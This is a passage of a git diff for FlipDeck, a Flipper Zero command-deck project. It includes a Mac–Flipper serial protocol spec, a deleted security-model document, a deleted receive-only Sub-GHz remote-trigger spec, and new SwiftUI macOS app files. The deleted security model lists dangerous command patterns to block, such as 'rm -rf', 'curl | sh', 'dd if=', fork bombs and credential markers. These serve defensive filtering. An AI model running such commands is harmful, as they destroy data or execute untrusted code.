`owner` (a project, service, agent, attention, or event id). `kind`: `OPEN` open on Mac, `LOCAL` open localhost, `LOGS` open logs, `DEPLOY` open deployment, `TERM` open terminal, `STOP` stop server. `flags` letters: `d` destructive, `c` requires confirmation. `label` may be empty, in which case the Flipper uses its built-in label for `kind`. | +| `END` | `gen` | Commits the snapshot. | +| `MAC` | `host`, `cpu`, `mem`, `batt`, `chg`, `net`, `boot` | Live frame, outside snapshots. Percentages 0–100, `chg`/`net` `0`/`1`, `boot` = Unix boot time. | +| `ALR` | `id`, `sev`, `project`, `title`, `message` | Alert: vibrate and show. `id` is the event's owner id, so its `ACT` records attach to the alert. | +| `RES` | `req`, `ok`, `message` | Result of an action request. `ok` is `0`/`1`. | +| `PING` | `gen`, `now` | Heartbeat every 5 s. | +| `BYE` | `reason` | The Mac is going away (app quitting). | + +## Flipper → Mac + +| Frame | Fields | Notes | +|---|---|---| +| `HI` | `proto`, `app`, `gen`, `nonce` | Reply to `HELLO`. `gen` is the last committed generation (0 if none). `nonce` is random per launch of the Flipper app; the Mac scopes `REQ` de-duplication to it. | +| `PONG` | `gen` | Reply to `PING`. | +| `SYNC` | `gen` | Asks for a full snapshot, after a snapshot was discarded or on user refresh. | +| `REQ` | `req`, `action`, `gen` | Action request. `req` increases per Flipper boot of the app. `action` is an `ACT` id. | +| `SEEN` | `id` | The user dismissed alert or attention `id`. The Mac acknowledges the underlying event. | + +## Limits + +Shared by both sides (`FlipperLimits` in Swift, `src/fd_state.h` in C). Changing +any of them is a protocol change. + +| Records per snapshot | Max | | Field | Max bytes | +|---|---|---|---|---| +| `PRJ` | 12 | | ids | 7 | +| `SVC` | 8 | | names, projects, host | 20 | +| `AGT` | 6 | | branch | 24 | +| `ATN` | 6 | | provider | 12 | +| `EVT` | 10 | | titles (`ATN`, `ALR`) | 40 | +| `ACT` | 64 | | `EVT` title | 48 | +| | | | `ALR` message | 80 | +| | | | `RES` message | 60 | + +## Session rules + +1. **Handshake.** When the transport connects, the Mac sends `HELLO` and the Flipper answers `HI`. + The Mac repeats `HELLO` every 3 s until it gets `HI`. + If either side sees a different `proto`, it enters the *incompatible* state and + says so in its UI. The Mac keeps sending only `HELLO` (so the Flipper can show + the Mac's version) and the Flipper only `HI`. +2. **Snapshot.** After `HI`, the Mac sends a full snapshot. Later snapshots are sent only + when the encoded records change, at most once per second. +3. **Atomic commit.** The Flipper writes records into a staging area. `END` commits + it only if `END.gen == SNAP.gen` and the record count matches. A new `SNAP` + discards any partial staging. A mismatch discards staging and sends `SYNC`. + Live frames (`MAC`, `PING`, `ALR`, `RES`) can arrive at any time and never touch + staging. +4. **Heartbeat and staleness.** The Mac sends `PING` every 5 s. The Flipper answers + `PONG gen`. If `gen` differs from the last committed generation the Mac sent, + the Mac resends the snapshot. If the Flipper receives no valid frame for 15 s, + it shows its data as stale (with age). On transport disconnect it shows + *disconnected* immediately and keeps the last data dimmed. +5. **Actions.** The Flipper only sends `REQ` for action ids it received. The Mac + resolves the id in its own table (current and previous snapshot), re-validates + the target against live state, executes, and answers `RES`. The Mac caches the + last 32 `(nonce, req)` results. A duplicate `REQ` gets the cached `RES` and + is never executed twice. The Flipper shows its own confirmation screen before + sending a `REQ` for a `c`-flagged action. The Flipper waits 10 s for `RES`. +6. **Alerts.** The Flipper keeps the last 16 alert ids and ignores duplicates. After a + reconnect, the Mac re-sends up to 3 unacknowledged alert-worthy events from the + last 30 minutes. +7. **Flow control (BLE).** The Mac never writes more than the Flipper's advertised + credit (flow-control characteristic), and writes exactly up to the credit. The + Flipper re-arms the credit only when its buffer is fully drained, and the + serial service replenishes only when the credit reaches 0. diff --git a/docs/security-model.md b/docs/security-model.md deleted file mode 100644 index 8d9f371..0000000 --- a/docs/security-model.md +++ /dev/null @@ -1,41 +0,0 @@ -# FlipDeck Security Model - -FlipDeck is a command automation tool, so safety is part of the product surface. The goal is useful shortcuts without stealth payload behavior, credential storage, or silent execution. - -## Boundaries - -- The Flipper app reads profile JSON from the SD card. -- Text commands are reviewed before sending. -- Key and key-combo actions are treated as interaction shortcuts, not shell text. -- The web installer packages known profiles into the expected SD card layout. -- The desktop helper validates profile structure and scans text commands before sync. - -## Safety Rules - -FlipDeck blocks or warns on patterns such as: - -- `rm -rf` -- `sudo` -- `curl | sh` and `wget | sh` -- `mkfs` -- `dd if=` -- fork bombs -- credential markers such as `PASSWORD`, `TOKEN`, `API_KEY`, `SECRET`, and `PRIVATE_KEY` - -These checks exist in the Flipper C profile manager, the web installer's command audit, and the desktop helper validation path. - -## Required Product Behavior - -- Show the action label and value before USB send. -- Require confirmation for text commands by default. -- Keep default profiles safe and reviewable. -- Never store access tokens or passwords in profiles. -- Keep downloaded install packs transparent: users should be able to inspect every JSON file before copying to the SD card. - -## Review Checklist - -- Does this change add a new way to send USB input? -- Does it preserve explicit confirmation before meaningful commands? -- Does it keep profile JSON readable and editable? -- Does it avoid network or credential requirements for the installer? -- Are safety tests updated when rules change? diff --git a/docs/subghz_trigger_spec.md b/docs/subghz_trigger_spec.md deleted file mode 100644 index 80430e0..0000000 --- a/docs/subghz_trigger_spec.md +++ /dev/null @@ -1,228 +0,0 @@ -# Spec: Sub-GHz RF Remote Triggers for FlipDeck - -Status: **Phase 1 implemented** (`flipdeck_app.h`/`.c`, `flipdeck_ui.h`/`.c`, -`profile_manager.h`/`.c`, `subghz_bridge.h`/`.c`, `application.fam`). A third -trigger surface alongside button navigation and NFC tags (`nfc_trigger_spec.md`). - -`subghz_bridge.c` was syntax/type-checked with `gcc -fsyntax-only -Wall --Wextra -Wpedantic` against the actual, current firmware headers (`furi_hal_ -subghz.h`, `lib/subghz/{devices/cc1101_configs,environment,receiver, -subghz_worker,protocols/base,subghz_protocol_registry}.h`, plus their full -transitive dependency chain — over a dozen real headers fetched live from -`flipperdevices/flipperzero-firmware`, not guessed) and came back with zero -warnings attributable to this file's own code. Its control flow was also -cross-checked against `applications/main/subghz/helpers/subghz_txrx.c`, the -real firmware's own internal helper for doing exactly this (private to that -app, not includable from an external `.fap`, but read in full as a reference). -This is a *stronger* verification pass than NFC's — resolving it required -working through the real Sub-GHz header dependency tree far enough to -concretely answer two open questions that would otherwise have been guesses -(see "Build/config note" below) — but it is still not a real build. No -`fbt`/`ufbt` toolchain is available in this environment (its SDK download is -blocked by the sandbox's network policy — confirmed via the proxy status -endpoint, `update.flipperzero.one` → 403), so nothing here has been linked, -flashed, or run against real hardware. See `subghz_bridge.c`'s file header -for exactly what remains unconfirmed. - -One deliberate deviation from the original plan, made during implementation: -`subghz_bridge.c` calls `furi_hal_subghz_*` (the direct HAL for the Flipper's -built-in CC1101) rather than the newer `subghz_devices_*` abstraction the -real firmware app uses. `subghz_devices_*` exists to support pluggable -*external* CC1101 modules, which transitively pulls in the firmware's ELF -plugin-loader subsystem (`lib/flipper_application/...`) — real complexity -this feature doesn't need, since it only ever targets the Flipper's built-in -radio. `furi_hal_subghz_*` is the lower layer `subghz_devices_*` itself calls -into for the internal radio, so this isn't a shortcut around anything, just -skipping an abstraction layer with nothing to offer a fixed-hardware, -RX-only, internal-radio-only use case. This also meaningfully *lowers* the -`application.fam` linkage risk relative to what was originally anticipated -(see "Build/config note"). - -## What this is, and isn't - -FlipDeck's third *input* trigger surface, alongside button navigation and NFC -tags. **Receive only — deliberately, structurally, not just "not implemented -yet."** No transmit function is called anywhere in `subghz_bridge.c`. This -means: (a) no regional TX power/frequency regulation applies, because -nothing is ever transmitted; (b) this feature *cannot* be used to replay or -clone a signal against a garage door, gate, or car, even by accident, because -replay requires transmission and this bridge has no transmit code path to -repurpose. - -Binding uses the firmware's full/default protocol registry -(`subghz_protocol_registry`) and matches on **exact-string equality** of the -decoded protocol text (`subghz_protocol_decoder_base_get_string()`, which -works identically across every decoder in the registry — no per-protocol -accessor code needed). Fixed-code remotes (common cheap doorbells, -garage/gate remotes, RF relay switches) decode to byte-identical text on -every press and bind reliably. Rolling-code remotes (many modern car/garage -keyfobs) decode to *different* text every press by design, so they simply -never re-match after the first bind. This is the correct, safe failure mode, -not a bug to fix later: a design that could match/replay a rolling code -would be a real security problem, and this one structurally cannot. - -## UX flow - -1. Category browser gets a fourth synthetic row, after the existing - `* Favorites` and `~ NFC Scan` rows: **`^ Sub-GHz Scan`**. Unlike NFC's - always-shown row, this one is conditional on `FlipDeckApp.subghz_available` - (set from `subghz_bridge_init()`'s return value) — since Sub-GHz's - real-firmware linkage is a bigger open question than NFC's turned out to - be, a row that's silently dead on some builds would be worse than no row. -2. Selecting it enters `FlipDeckState_SubghzScan`, which shows "Press the - remote's button... (receive only)" and starts the radio listening at - 433.92MHz with an OOK 650kHz async preset (`subghz_device_cc1101_preset_ - ook_650khz_async_regs` — the real firmware's own preset register table, - fetched from `lib/subghz/devices/cc1101_configs.h`). -3. On signal decode: - - **Known signature** (found in the mapping file) → jump straight to - `FlipDeckState_SendConfirm` for the mapped action, exactly like a known - NFC tag. **Sub-GHz-triggered sends always require the confirm screen**, - for an even stronger reason than NFC's UID-cloneability: RF is - receivable from across a room with zero physical contact with the - device at all — an even weaker signal of deliberate intent than a - person tapping an NFC tag to the Flipper. - - **Unknown signature** → hand off into the category/action browser in - binding mode to pick what it should map to, identical flow to an - unknown NFC tag. -4. Back from the scan screen stops the radio and returns to the category - browser. - -## Data model - -New file, sibling to `nfc_tags.json`, not part of `settings.json` (same -reasoning as NFC — a growing dataset, not a preference): -`/ext/apps_data/flipdeck/subghz_remotes.json` - -```json -{ "remotes": [ { "signature": "F9E6E6EF197C2B25", "category_id": "git", "label": "Git Status" } ] } -``` - -**Fingerprint = 64-bit FNV-1a hash of the decoded string, not the raw -string.** The decoded text's length isn't bounded by anything in this -codebase's control (protocol name + key/serial/bit-count, variable length), -and truncating a fixed-size buffer risks two different remotes silently -colliding on a shared prefix — worse than a hash collision because it's -systematic, not random. A fixed-width hash also keeps the struct the same -shape as `FlipDeckNfcTag` and avoids needing JSON string-escaping logic that -doesn't exist yet in this codebase's mini-JSON writer (decoded text could -contain `"`/`\`). - -```c -// profile_manager.h -#define FLIPDECK_MAX_SUBGHZ_REMOTES 16 -#define FLIPDECK_SUBGHZ_SIG_HEX_LEN 17 // 64-bit FNV-1a -> 16 hex chars + NUL - -typedef struct { - char signature_hex[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - char category_id[32]; - char label[64]; -} FlipDeckSubghzRemote; - -bool profile_manager_load_subghz_remotes(FlipDeckSubghzRemote* remotes, uint32_t* count); -bool profile_manager_save_subghz_remotes(const FlipDeckSubghzRemote* remotes, uint32_t count); -const FlipDeckSubghzRemote* profile_manager_find_subghz_remote( - const FlipDeckSubghzRemote* remotes, uint32_t count, const char* signature_hex); -bool profile_manager_hash_subghz_signature(const char* text, char* out, size_t out_size); -``` - -`profile_manager_hash_subghz_signature` (standard FNV-1a, seed -`0xcbf29ce484222325ULL`, prime `0x100000001b3ULL`) is pure string logic, -fully host-tested with known input→output vectors — same host-testability -story as `profile_manager_hex_encode_uid` had for NFC. - -## New module: `subghz_bridge.c` / `subghz_bridge.h` - -Same shape as `nfc_bridge.c` — mutex-latched single-shot poll API, hardware -fully isolated from `flipdeck_ui.c`: - -```c -// subghz_bridge.h -bool subghz_bridge_init(void); -void subghz_bridge_deinit(void); -void subghz_bridge_start_scan(void); -void subghz_bridge_stop_scan(void); -bool subghz_bridge_poll_signal(char* signature_hex_out, size_t out_size); -``` - -Pipeline per scan session: `furi_hal_subghz_reset()` → `idle()` → -`load_custom_preset(subghz_device_cc1101_preset_ook_650khz_async_regs)` → -`set_frequency(433920000)` → `flush_rx()` → allocate `SubGhzReceiver` (via a -`SubGhzEnvironment` allocated once at init, holding the protocol registry) → -allocate `SubGhzWorker`, wire its pair/overrun callbacks directly to -`subghz_receiver_decode`/`subghz_receiver_reset` (cast to the worker's -callback types — the same pointer-cast trick the real firmware's own -`subghz_txrx.c` uses, since the worker's context becomes the receiver -pointer) → `furi_hal_subghz_start_async_rx(subghz_worker_rx_callback, -worker)` → `subghz_worker_start()`. On a decode, the receiver callback (worker -thread) hashes the decoded text and latches it behind a mutex — same pattern -as `nfc_bridge.c`'s `pending_uid_hex`/`pending_uid_ready` — for -`subghz_bridge_poll_signal()` to pick up on the main thread each tick. - -Like `nfc_bridge.c`, this file is excluded entirely from the host test build -— `SubGhzWorker`/`SubGhzEnvironment`/`SubGhzReceiver`/`FuriHalSubGhz*` have -no meaningful stub semantics. - -## State machine changes - -```c -// flipdeck_app.h -typedef enum { - FlipDeckState_Idle, FlipDeckState_CategoryBrowser, FlipDeckState_ActionBrowser, - FlipDeckState_NfcScan, FlipDeckState_SubghzScan, // new - FlipDeckState_SendConfirm, FlipDeckState_LongSnippetWarning, FlipDeckState_Settings, -} FlipDeckState; -``` - -No separate `SubghzBind` state — same "no separate Bind state" deviation NFC -already established. Binding for *either* trigger source now shares one -generalized mechanism: `FlipDeckUi.nfc_binding_uid_hex` (NFC-only, from the -previous PR) was replaced with a tagged union, -`FlipDeckPendingBind { FlipDeckBindKind kind; char id_hex[...]; }`, so at most -one bind can be pending at a time — structurally, not just "shouldn't -happen." `flipdeck_ui_bind_selected_action()` branches on `pending_bind.kind` -to write into either `nfc_tags[]` or `subghz_remotes[]`. - -## Safety checklist - -- Sub-GHz-triggered sends go through `profile_manager_validate_action()` - exactly like every other send path — no separate/weaker check. -- Sub-GHz-triggered sends **always** land on `SendConfirm`, never quick-send, - regardless of settings — see UX flow above for why this is an even - stronger requirement than NFC's. -- **Receive only.** No transmit call anywhere in `subghz_bridge.c` — see - "What this is, and isn't" above for why this structurally rules out replay - attacks, not just by policy. -- Binding matches on exact decoded-string equality, so rolling-code remotes - simply never re-bind — a safe failure mode by construction, not a gap to - close later. -- `FLIPDECK_MAX_SUBGHZ_REMOTES` bounds the mapping file the same way - `FLIPDECK_MAX_NFC_TAGS`/`FLIPDECK_MAX_FAVORITES` bound their own lists. -- Binding a remote never edits `safety-rules.json` or bypasses the audit — - it only creates a `(signature → existing category_id/label)` pointer. - -## Build/config note - -Two concrete unknowns from the original plan were resolved by reading real -firmware source rather than left as guesses: -- **Preset registers**: `subghz_device_cc1101_preset_ook_650khz_async_regs`, - an `extern const uint8_t[]` declared in `lib/subghz/devices/cc1101_configs.h`. -- **Protocol registry**: `subghz_protocol_registry`, an `extern const - SubGhzProtocolRegistry` declared in `lib/subghz/subghz_protocol_registry.h`. - -The `application.fam` linkage question (whether an external `.fap` needs a -`fap_libs`/`requires` entry to resolve Sub-GHz symbols) is genuinely lower -risk than originally anticipated, precisely because this file uses -`furi_hal_subghz_*` (same HAL tier as `furi_hal_usb_hid.h`, which this app -already uses via `usb_hid.c` with no special manifest entry) instead of the -official Sub-GHz app's `subghz_devices_*` + `fap_libs=["assets", "hwdrivers"]` -+ `requires=["region"]`. Still unconfirmed without an actual link — see -`application.fam`'s comment for the full reasoning and fallback guidance. - -## Suggested phasing - -1. **Phase 1** (this spec): read-only binding — map a fixed-code remote's - button to an existing action, press to jump to confirm. Everything above. -2. No Sub-GHz analog to NFC's hypothetical "Phase 2" (writing blank tags) — - there is nothing to write; RX-only is a permanent design boundary, not a - phase-1-only restriction that a later phase would lift. diff --git a/mac/.gitignore b/mac/.gitignore new file mode 100644 index 0000000..ed34f43 --- /dev/null +++ b/mac/.gitignore @@ -0,0 +1,5 @@ +.build/ +.swiftpm/ +build/ +*.xcodeproj +DerivedData/ diff --git a/mac/Package.swift b/mac/Package.swift new file mode 100644 index 0000000..3d99a36 --- /dev/null +++ b/mac/Package.swift @@ -0,0 +1,23 @@ +// swift-tools-version:5.10 +import PackageDescription + +let package = Package( + name: "FlipDeck", + platforms: [.macOS(.v14)], + products: [ + .executable(name: "FlipDeck", targets: ["FlipDeckApp"]), + .executable(name: "flipdeck-headless", targets: ["flipdeck-headless"]), + .library(name: "FlipDeckCore", targets: ["FlipDeckCore"]), + ], + targets: [ + // Platform-independent core: models, monitoring, events, protocol, engine. + // Builds and tests on Linux as well as macOS. + .target(name: "FlipDeckCore"), + // macOS-only adapters (CoreBluetooth, Keychain, IOKit, AppKit). Every file is + // wrapped in `#if os(macOS)` so the package still builds on Linux. + .target(name: "FlipDeckMacPlatform", dependencies: ["FlipDeckCore"]), + .executableTarget(name: "FlipDeckApp", dependencies: ["FlipDeckCore", "FlipDeckMacPlatform"]), + .executableTarget(name: "flipdeck-headless", dependencies: ["FlipDeckCore"]), + .testTarget(name: "FlipDeckCoreTests", dependencies: ["FlipDeckCore"]), + ] +) diff --git a/mac/Sources/FlipDeckApp/AgentsServicesActivity.swift b/mac/Sources/FlipDeckApp/AgentsServicesActivity.swift new file mode 100644 index 0000000..fe3bd1f --- /dev/null +++ b/mac/Sources/FlipDeckApp/AgentsServicesActivity.swift @@ -0,0 +1,188 @@ +#if os(macOS) +import SwiftUI +import FlipDeckCore + +// MARK: - Agents + +struct AgentsView: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + let state = model.state + let agentEvents = (model.snapshot?.events ?? []).filter { $0.source == .agent } + ScrollView { + VStack(alignment: .leading, spacing: 12) { + SectionHeader(title: "Running", detail: state.agents.isEmpty ? nil : "\(state.agents.count)") + if state.agents.isEmpty { + Text("No coding agents running.").foregroundStyle(.secondary) + } else { + ForEach(state.agents) { agent in + HStack(spacing: 10) { + Image(systemName: "sparkles").foregroundStyle(.purple).frame(width: 16) + Text(agent.providerName).fontWeight(.medium) + Text(model.projectName(agent.projectID) ?? agent.cwd ?? "unknown directory").foregroundStyle(.secondary) + Spacer() + Text("pid \(agent.pid)").font(.callout.monospacedDigit()).foregroundStyle(.tertiary) + Text(elapsed(since: agent.startedAt)).font(.callout.monospacedDigit()).foregroundStyle(.secondary) + if let project = state.project(id: agent.projectID) { + ActionButtons(actions: [FDAction(kind: .openOnMac, target: .project(path: project.path), source: .agent)], compact: true) + } + } + Divider() + } + } + + SectionHeader(title: "What FlipDeck can tell") + Grid(alignment: .leading, horizontalSpacing: 18, verticalSpacing: 6) { + GridRow { + Text("") + ForEach(Self.capabilityColumns, id: \.1) { Text($0.1).font(.caption).foregroundStyle(.secondary) } + } + ForEach(model.snapshot?.agentProviders ?? []) { provider in + GridRow { + Text(provider.displayName) + ForEach(Self.capabilityColumns, id: \.1) { column in + let supported = provider.capabilities.contains(column.0) + Image(systemName: supported ? "checkmark" : "minus") + .foregroundStyle(supported ? Color.green : Color.secondary) + } + } + } + } + Text("Agents are detected from the process table. That reliably shows that an agent is running, for how long, and in which project. It cannot show whether a session finished successfully, failed, or is waiting for input, so FlipDeck reports an agent that stops as \"finished\" without guessing the outcome.") + .font(.callout).foregroundStyle(.secondary).fixedSize(horizontal: false, vertical: true) + + SectionHeader(title: "History") + if agentEvents.isEmpty { + Text("No agent activity yet.").foregroundStyle(.secondary) + } + ForEach(agentEvents.prefix(20)) { event in + EventRow(event: event) + Divider() + } + } + .padding(20) + .frame(maxWidth: 980, alignment: .leading) + } + } + + static let capabilityColumns: [(AgentCapabilities, String)] = [ + (.running, "Running"), (.elapsedTime, "Elapsed"), (.workingDirectory, "Project"), + (.exitStatus, "Success/failure"), (.waitingState, "Waiting for input"), + ] +} + +// MARK: - Services + +struct ServicesView: View { + @EnvironmentObject private var model: AppModel + + var body: some View { + let state = model.state + if state.servers.isEmpty && state.processes.isEmpty { + EmptyState( + title: state.observed.processes ? "No dev servers running" : "Scanning…", + symbol: "server.rack", + message: "FlipDeck lists processes you own that listen on a TCP port (1024 and up), if they're a known dev runtime or run from inside one of your projects." + ) + } else { + VStack(alignment: .leading, spacing: 0) { + Table(state.servers) { + TableColumn("Server") { server in + HStack(spacing: 6) { + StatusDot(color: .green) + Text(server.displayName).fontWeight(.medium) + } + } + TableColumn("URL") { server in + Text(server.ports.map { "localhost:\($0)" }.joined(separator: ", ")).font(.body.monospaced()) + } + TableColumn("Project") { server in + Text(model.projectName(server.projectID) ?? server.cwd ?? "—").foregroundStyle(.secondary) + } + TableColumn("PID") { server in + Text("\(server.pid)").monospacedDigit().foregroundStyle(.secondary) + } + .width(60) + TableColumn("Up") { server in + Text(elapsed(since: server.startedAt)).monospacedDigit() + } + .width(70) + TableColumn("") { server in + ActionButtons(actions: ActionCatalog.actions(for: server), compact: true) + } + .width(110) + } + if !state.processes.isEmpty { + Divider() + VStack(alignment: .leading, spacing: 4) { + SectionHeader(title: "Builds, tests and tools", detail: "\(state.processes.count)") + ForEach(state.processes) { process in + ActiveRow(symbol: process.kind == .testRunner ? "checklist" : "hammer", color: .blue, title: process.label, + detail: "pid \(process.pid)", project: model.projectName(process.projectID), since: process.startedAt, actions: []) + } + } + .padding(16) + } + } + } + } +} + +// MARK: - Activity + +struct ActivityView: View { + @EnvironmentObject private var model: AppModel + @State private var filter: Filter = .all + + enum Filter: String, CaseIterable, Identifiable { + case all = "All" + case important = "Warnings & errors" + case deployments = "Deployments" + case servers = "Servers" + case agents = "Agents" + case git = "Git" + case flipper = "Flipper" + + var id: String { rawValue } + + func matches(_ event: FDEvent) -> Bool { + switch self { + case .all: return true + case .important: return event.severity >= .warning + case .deployments: return event.type.rawValue.hasPrefix("deployment.") + case .servers: return event.type.rawValue.hasPrefix("server.") + case .agents: return event.source == .agent + case .git: return event.source == .git + case .flipper: return event.source == .flipper + } + } + } + + var body: some View { + let events = (model.snapshot?.events ?? []).filter(filter.matches) + VStack(spacing: 0) { + HStack { + Picker("Show", selection: $filter) { + ForEach(Filter.allCases) { Text($0.rawValue).tag($0) } + } + .pickerStyle(.menu) + .fixedSize() + Spacer() + Button("Mark all as seen") { model.acknowledgeAll() } + } + .padding(.horizontal, 16) + .padding(.vertical, 8) + Divider() + if events.isEmpty { + EmptyState(title: "No activity", symbol: "clock", message: "Server starts and stops, agent sessions, commits, branch switches and deployments are recorded here.") + } else { + List(events) { event in + EventRow(event: event) + } + .listStyle(.inset) + } + } + } +} +#endif diff --git a/mac/Sources/FlipDeckApp/AppModel.swift b/mac/Sources/FlipDeckApp/AppModel.swift new file mode 100644 index 0000000..36f0ec7 --- /dev/null +++ b/mac/Sources/FlipDeckApp/AppModel.swift @@ -0,0 +1,151 @@ +#if os(macOS) +import Foundation +import SwiftUI +import FlipDeckCore +import FlipDeckMacPlatform + +enum SidebarItem: String, CaseIterable, Identifiable, Hashable { + case overview, projects, agents, services, activity, flipper, settings + + var id: String { rawValue } + + var title: String { + switch self { + case .overview: return "Overview" + case .projects: return "Projects" + case .agents: return "Agents" + case .services: return "Services" + case .activity: return "Activity" + case .flipper: return "Flipper" + case .settings: return "Settings" + } + } + + var symbol: String { + switch self { + case .overview: return "gauge.with.dots.needle.33percent" + case .projects: return "folder" + case .agents: return "sparkles" + case .services: return "server.rack" + case .activity: return "clock.arrow.circlepath" + case .flipper: return "dot.radiowaves.left.and.right" + case .settings: return "gearshape" + } + } +} + +/// Main-thread view model. Holds the engine's latest snapshot and forwards +/// user intents to the engine actor. +@MainActor +final class AppModel: ObservableObject { + @Published private(set) var snapshot: EngineSnapshot? + @Published var section: SidebarItem = .overview + @Published var selectedProjectID: String? + @Published var toast: String? + + let engine: FlipDeckEngine + let transport: BLESerialTransport + let editors: [EditorApp] + private var toastTask: Task? + + init() { + let support = AppPaths.supportDirectory() + let settingsStore = SettingsStore(url: support.appendingPathComponent("settings.json")) + let installedEditors = Editors.installed() + var settings = settingsStore.settings + if settings.editorBundleID == nil, let preferred = installedEditors.first { + settings.editorBundleID = preferred.bundleID + try? settingsStore.save(settings) + } + editors = installedEditors + + let transport = BLESerialTransport(knownPeripheralID: settings.flipperPeripheralID.flatMap(UUID.init(uuidString:))) + self.transport = transport + let engine = FlipDeckEngine(dependencies: EngineDependencies( + secrets: KeychainSecretStore(), + effects: MacSystemEffects(), + metrics: MacMachineMetrics(), + transport: transport, + notifier: MacUserNotifier(), + logSink: OSLogSink(), + settingsStore: settingsStore, + activityLog: ActivityLog(fileURL: support.appendingPathComponent("activity.json")), + hostName: MacHost.computerName() + )) + self.engine = engine + transport.onPeripheralIdentified = { id in + Task { await engine.rememberFlipper(id.uuidString) } + } + + let sink: @Sendable (EngineSnapshot) -> Void = { [weak self] snapshot in + Task { @MainActor in self?.snapshot = snapshot } + } + Task { + await engine.setObserver(sink) + await engine.start() + } + } + + // MARK: Intents + + func perform(_ action: FDAction) { + Task { + let result = await engine.perform(action) + show(result.message) + } + } + + func acknowledge(_ eventID: String) { + Task { await engine.acknowledge(eventID: eventID) } + } + + func acknowledgeAll() { + Task { await engine.acknowledgeAll() } + } + + func refresh() { + Task { await engine.refreshNow() } + show("Refreshing…") + } + + func updateSettings(_ change: (inout FlipDeckSettings) -> Void) { + guard var settings = snapshot?.settings else { return } + change(&settings) + let updated = settings + Task { await engine.updateSettings(updated) } + } + + func setVercelToken(_ token: String?) { + Task { + await engine.setVercelToken(token) + show(token == nil ? "Vercel token removed" : "Vercel token saved to Keychain") + } + } + + func forgetFlipper() { + transport.forget() + Task { await engine.rememberFlipper(nil) } + show("Searching for a FlipDeck Flipper…") + } + + func shutdown() async { + await engine.stop() + } + + func show(_ message: String) { + toast = message + toastTask?.cancel() + toastTask = Task { [weak self] in + try? await Task.sleep(nanoseconds: 3_000_000_000) + guard !Task.isCancelled else { return } + self?.toast = nil + } + } + + // MARK: Derived + + var state: EngineState { snapshot?.state ?? EngineState() } + + func projectName(_ id: String?) -> String? { state.project(id: id)?.name } +} +#endif diff --git a/mac/Sources/FlipDeckApp/Components.swift b/mac/Sources/FlipDeckApp/Components.swift new file mode 100644 index 0000000..b0fab57 --- /dev/null +++ b/mac/Sources/FlipDeckApp/Components.swift @@ -0,0 +1,209 @@ +#if os(macOS) +import SwiftUI +import FlipDeckCore + +extension Severity { + var color: Color { + switch self { + case .info: return .secondary + case .success: return .green + case .warning: return .orange + case .error: return .red + case .actionRequired: return .purple + } + } + + var symbol: String { + switch self { + case .info: return "circle.fill" + case .success: return "checkmark.circle.fill" + case .warning: return "exclamationmark.triangle.fill" + case .error: return "xmark.octagon.fill" + case .actionRequired: return "hand.raised.fill" + } + } +} + +extension DeploymentState { + var color: Color { + switch self { + case .queued, .building: return .blue + case .ready: return .green + case .error: return .red + case .canceled: return .secondary + } + } + + var label: String { + switch self { + case .queued: return "Queued" + case .building: return "Building" + case .ready: return "Live" + case .error: return "Failed" + case .canceled: return "Canceled" + } + } +} + +struct StatusDot: View { + let color: Color + var body: some View { + Circle().fill(color).frame(width: 7, height: 7) + } +} + +struct SeverityIcon: View { + let severity: Severity + var body: some View { + Image(systemName: severity.symbol) + .foregroundStyle(severity.color) + .imageScale(severity == .info ? .small : .medium) + .frame(width: 16) + } +} + +/// Small uppercase header used instead of boxed cards. +struct SectionHeader: View { + let title: String + var detail: String? + + var body: some View { + HStack(alignment: .firstTextBaseline) { + Text(title.uppercased()) + .font(.caption.weight(.semibold)) + .foregroundStyle(.secondary) + if let detail { + Text(detail).font(.caption).foregroundStyle(.tertiary) + } + Spacer() + } + .padding(.top, 6) + } +} + +/// Buttons for a set of actions. Destructive ones ask first. +struct ActionButtons: View { + @EnvironmentObject private var model: AppModel + let actions: [FDAction] + var compact = false + @State private var pending: FDAction? + + var body: some View { + HStack(spacing: 6) { + ForEach(actions) { action in + Button(role: action.destructive ? .destructive : nil) { + if action.requiresConfirmation { pending = action } else { model.perform(action) } + } label: { + if compact { + Image(systemName: Self.symbol(for: action.kind)) + } else { + Text(action.label) + } + } + .help(action.label) + .controlSize(.small) + } + } + .confirmationDialog( + pending.map { "\($0.label)?" } ?? "", + isPresented: Binding(get: { pending != nil }, set: { if !$0 { pending = nil } }), + presenting: pending + ) { action in + Button(action.label, role: .destructive) { model.perform(action) } + Button("Cancel", role: .cancel) {} + } message: { action in + Text(Self.confirmationMessage(for: action)) + } + } + + static func confirmationMessage(for action: FDAction) -> String { + if case .process(let pid, _, _) = action.target { + return "Sends SIGTERM to process \(pid). Unsaved work in that process may be lost." + } + return "This can't be undone." + } + + static func symbol(for kind: ActionKind) -> String { + switch kind { + case .openOnMac: return "chevron.left.forwardslash.chevron.right" + case .openInFinder: return "folder" + case .openTerminal: return "terminal" + case .openLocalhost: return "safari" + case .copyURL: return "doc.on.doc" + case .stopServer: return "stop.circle" + case .openLogs: return "doc.text.magnifyingglass" + case .openDeployment: return "arrow.up.right.square" + } + } +} + +struct EmptyState: View { + let title: String + let symbol: String + let message: String + + var body: some View { + ContentUnavailableView(title, systemImage: symbol, description: Text(message)) + } +} + +func elapsed(since date: Date?) -> String { + guard let date else { return "—" } + return Format.duration(Date().timeIntervalSince(date)) +} + +let clockFormatter: DateFormatter = { + let formatter = DateFormatter() + formatter.timeStyle = .short + formatter.dateStyle = .none + return formatter +}() + +let dayFormatter: DateFormatter = { + let formatter = DateFormatter() + formatter.dateStyle = .medium + formatter.timeStyle = .short + formatter.doesRelativeDateFormatting = true + return formatter +}() + +func byteString(_ bytes: UInt64) -> String { + ByteCountFormatter.string(fromByteCount: Int64(bytes), countStyle: .memory) +} + +/// One row of the activity feed. +struct EventRow: View { + @EnvironmentObject private var model: AppModel + let event: FDEvent + var showActions = true + + var body: some View { + HStack(alignment: .firstTextBaseline, spacing: 10) { + Text(clockFormatter.string(from: event.timestamp)) + .font(.callout.monospacedDigit()) + .foregroundStyle(.secondary) + .frame(width: 64, alignment: .trailing) + SeverityIcon(severity: event.severity) + VStack(alignment: .leading, spacing: 2) { + HStack(spacing: 6) { + Text(event.title).fontWeight(event.acknowledged || event.severity < .warning ? .regular : .semibold) + if let project = event.projectName { + Text(project).foregroundStyle(.secondary) + } + } + if !event.message.isEmpty { + Text(event.message).font(.callout).foregroundStyle(.secondary).lineLimit(2) + } + } + Spacer(minLength: 8) + if showActions { + ActionButtons(actions: event.actions, compact: true) + if event.severity >= .error && !event.acknowledged { + Button("Dismiss") { 